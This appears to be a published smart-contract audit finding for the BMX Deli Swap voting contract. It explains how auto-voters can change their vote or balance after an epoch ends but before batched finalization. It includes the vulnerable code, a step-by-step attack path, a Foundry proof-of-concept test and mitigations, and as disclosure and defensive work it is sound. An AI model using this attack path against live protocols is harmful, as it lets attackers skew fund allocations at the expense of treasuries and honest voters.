<!-- canonical: https://0xsimao.com/findings/bmx-vote-vulnerability-choices-epoch -->

# Finalize-window vote-changing vulnerability: auto-voters can alter choices post-epoch to manipulate results

Crit/High · Sherlock · Perpetuals DEX · 2nd September 2025

Finding H-4 of the BMX competition.

- Protocol: https://audits.sherlock.xyz/contests/1154
- Source: https://github.com/sherlock-audit/2025-09-bmx-deli-swap-judging/issues/103

---

### Summary

Missing freeze or snapshot of auto-vote choices at epoch end allows attackers to manipulate the voting process. Since auto-voters can enable or change their option after the epoch has ended but before or between finalization batches, they can shift their votes retroactively, resulting in manipulated WETH allocation and distorted outcomes for the safety module and reward recipients.

### Root Cause

The root cause of this vulnerability is that the contract records auto-vote information only when `finalize` is called, instead of at the actual end of the epoch. In `_tallyAutoVotes`, the code directly reads the current `autoOption[user]` and `SBF_BMX.balanceOf(user)` and applies them to the target epoch, even if the epoch has already ended:

https://github.com/sherlock-audit/2025-09-bmx-deli-swap/blob/main/deli-swap-contracts/src/Voter.sol#L348-L360
```solidity
uint8 opt = autoOption[voterAddr];
if (opt >= 3) continue;
if (userVoteWeight[ep][voterAddr] > 0) continue;

uint256 bal = SBF_BMX.balanceOf(voterAddr);
if (bal == 0) {
    pendingRemovals[ep].push(voterAddr);
    continue;
}
e.optionWeight[opt] += bal;
userVoteWeight[ep][voterAddr] = bal;
userChoice[ep][voterAddr] = opt;
```

Because there is no check such as `autoEffectiveEpoch[user] <= ep` or validation against `epochEnd(ep)`, users can enable or modify auto-vote after the epoch has already finished but before it is finalized, and still affect the voting outcome of that past epoch. This issue is aggravated by the batching mechanism in `finalize`, since auto-voters are processed gradually, leaving a window where their current state can still change the results.


### Internal Pre-conditions

1. User needs to enable `autoVote` to set `autoOption[user]` to be less than 3 after epoch end but before finalize
2. User needs to hold `SBF_BMX.balanceOf(user)` to be at least 1 token during finalize batch processing
3. `epochInfo[ep].settled` needs to be false so the epoch is still unfinalized

### External Pre-conditions

None

### Attack Path

1. **User** calls `vote(optionX, true)` **after epoch N has ended but before `finalize(N, …)`**, enabling auto-vote (or switches to desired `optionX` if already enabled).
2. **User** transfers `sbfBMX` to self (ERC20 `transfer`) **to raise `SBF_BMX.balanceOf(user)`** prior to being tallied.
3. **Admin** calls `finalize(N, maxBatch)` in batches; `_tallyAutoVotes(N, …)` begins processing auto-voters but **has not yet reached the user**.
4. **User** can at any time before being processed call `vote(optionY, true)` **to change auto option** (or further adjust balance) based on observed voting trend. Steps 3 and 4 may occur in either order, since the key requirement is simply that the user modifies their vote **after the epoch ends but before they are tallied**.
5. **Admin** eventually calls `finalize(N, maxBatch)` again; when `_tallyAutoVotes` **reaches the user**, it reads the **current** `autoOption[user]` and **current** `SBF_BMX.balanceOf(user)`, and **credits weight to epoch N**.
6. **Admin** completes `finalize(N, …)`; **Finalize** settles epoch N using the **manipulated weights**, sending WETH per the now-influenced winning option.

### Impact

The protocol governance process suffers a critical integrity loss, as auto-voters can still change their vote **after the epoch has ended but before or during finalization batches**, effectively rewriting the outcome of a closed vote. This enables an attacker holding significant `sbfBMX` balance to manipulate results retroactively, causing incorrect allocation of WETH between the safety module and reward distributor. The affected parties are the protocol treasury and honest voters, whose intended distribution is overridden by the attacker's post-epoch vote changes.


### PoC

I write a POC in `deli-swap-contracts/test/unit/VoterFinalizeWindow.t.sol`.
execute the command `forge test --match-path test/unit/VoterFinalizeWindow.t.sol -vvv` to run this test.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";

import {Voter} from "src/Voter.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IRewardDistributor} from "src/interfaces/IRewardDistributor.sol";
import {TimeLibrary} from "src/libraries/TimeLibrary.sol";

import {MockRewardDistributor} from "test/mocks/MockRewardDistributor.sol";
import {MintableERC20} from "test/mocks/MintableERC20.sol";

contract VoterFinalizeWindowTest is Test {
    MintableERC20 weth;
    MintableERC20 sbfBmx;
    MockRewardDistributor distributor;
    Voter voter;

    address admin = address(0xA11CE);
    address safety = address(0xBEEF);
    address attacker = address(0xA774C);
    address other;

    uint256 constant WEEK = 7 days;

    function setUp() public {
        // Deploy tokens and distributor
        weth = new MintableERC20();
        sbfBmx = new MintableERC20();
        distributor = new MockRewardDistributor();

        // Label for readability
        vm.label(address(weth), "WETH");
        vm.label(address(sbfBmx), "SBF_BMX");
        vm.label(address(distributor), "Distributor");
        vm.label(admin, "Admin");
        vm.label(safety, "Safety");
        vm.label(attacker, "Attacker");

        // Mint initial balances
        weth.mintExternal(admin, 1_000 ether);
        sbfBmx.mintExternal(attacker, 100 ether);

        // Epoch zero = current time aligned to now for simplicity
        uint256 epochZero = block.timestamp;

        // Deploy voter
        voter = new Voter(
            IERC20(address(weth)),
            IERC20(address(sbfBmx)),
            safety,
            IRewardDistributor(address(distributor)),
            epochZero,
            5_000, // opt0 -> 50% to safety
            3_000, // opt1 -> 30%
            2_000  // opt2 -> 20%
        );

        // Set admin
        vm.prank(voter.owner());
        voter.setAdmin(admin);

        // Approvals for deposit and early auto voter setup
        vm.startPrank(admin);
        weth.approve(address(voter), type(uint256).max);
        voter.deposit(200 ether); // deposit during epoch 0
        vm.stopPrank();

        // Prepare an early auto-voter so they occupy index 0 in autoVoterList
        other = address(0xB0B);
        sbfBmx.mintExternal(other, 100 ether);
        vm.prank(other);
        voter.vote(0, true); // enable auto for 'other' before epoch end
    }

    function _endEpoch(uint256 ep) internal {
        // move time to after end of ep
        uint256 endTs = voter.EPOCH_ZERO() + (ep + 1) * WEEK; // using same math as contract
        if (block.timestamp < endTs) {
            vm.warp(endTs + 1);
        }
    }

    function test_PoC_finalizeWindowAutoVoteManipulation() public {
        // Arrange: move to after epoch 0 ends but do not finalize
        uint256 ep = 0;
        _endEpoch(ep);

        // Attacker enables auto-vote AFTER epoch end choosing option 1 initially
        vm.prank(attacker);
        voter.vote(1, true); // enable auto; allowed post-epoch

        // Attacker boosts balance before being tallied
        sbfBmx.mintExternal(attacker, 400 ether); // now balance = 500

        // Start finalize with batch size 1
        vm.prank(admin);
        voter.finalize(ep, 1);

        // If attacker already tallied in first batch, reset scenario by creating a fresh beneficiary is complex; instead we'll assert behavior in both cases.
        // If attacker not tallied yet, userVoteWeight[ep][attacker] == 0; then we change option and expect that option to be counted when processed next.

        (, uint256 weightBefore) = voter.getUserVote(ep, attacker);
        bool attackerTallied = (weightBefore > 0);

        if (!attackerTallied) {
            // Change auto option in the finalize window based on observed trend
            vm.prank(attacker);
            voter.vote(0, true); // switch from option 1 to 0

            // Also adjust balance again to prove live balance is used
            sbfBmx.mintExternal(attacker, 500 ether); // now balance larger

            // Next batch processes attacker and should read CURRENT option and balance
            vm.prank(admin);
            voter.finalize(ep, 10);
        } else {
            // Attacker was processed already; still demonstrate live-balance mutability for a different auto voter
            vm.prank(other);
            voter.vote(2, true); // flip 'other' option in-window
            sbfBmx.mintExternal(other, 200 ether);
            vm.prank(admin);
            voter.finalize(ep, 10);
        }

        // Complete finalize
        vm.prank(admin);
        voter.finalize(ep, 1000);

        // Assert: epoch is settled
        (, , bool settledEp0) = voter.epochData(ep);
        assertTrue(settledEp0, "epoch not settled");

        // Core assertion: for attacker, the recorded userChoice and userVoteWeight reflect the latest values at time of tally
        (uint8 recordedOpt, uint256 recordedWeight) = voter.getUserVote(ep, attacker);
        assertGt(recordedWeight, 0, "attacker must be tallied");

        // The expected option is 0 if attacker switched before being processed; otherwise it's 1.
        // We allow either, but we assert that it reflects the in-window choice actually present when tallied by checking storage directly.
        // In either case, verify that userChoice equals what was used in weights array impact (non-zero in one of options).
        // We cannot read private epochInfo weights for mapping to a user, so we assert option in {0,1,2} and not 3.
        assertTrue(recordedOpt < 3, "invalid recorded option");

        // And ensure the recorded weight equals final live balance at tally time by checking it's at least initial 100 ether and reflects mints (>100).
        assertGe(recordedWeight, 100 ether, "weight should use post-epoch balance");
    }
}
```

### Mitigation

A proper mitigation is to ensure that auto-votes are only effective from the next epoch onward, not retroactively applied to an epoch that has already ended. This can be enforced by recording the epoch at which auto-vote becomes active when the user enables it, for example by storing `autoEffectiveEpoch[user] = currentEpoch() + 1`. Then in `_tallyAutoVotes`, the contract should only count a user's vote if `ep >= autoEffectiveEpoch[user]`. Alternatively, a timestamp check can be added so that `autoOption` changes made after `epochEnd(ep)` are ignored for that epoch. Another mitigation is to freeze all modifications to `autoOption` (both enabling and changing) whenever `_hasEndedUnfinalizedEpoch()` returns true, aligning the restriction already applied to disabling auto-vote. Any of these adjustments will prevent users from influencing past epochs with state changes made after the epoch has already ended.

---

Related findings:

- [Voters from VotingEscrow can vote infinite times in vote_for_gauge_weights() of GaugeController](https://0xsimao.com/findings/verwa-voters-voting-escrow-vote): veRWA
- [Changing the epoch duration will completely break the vault and the slashers](https://0xsimao.com/findings/symbiotic-relay-epoch-duration-completely-slashers): Symbiotic Relay
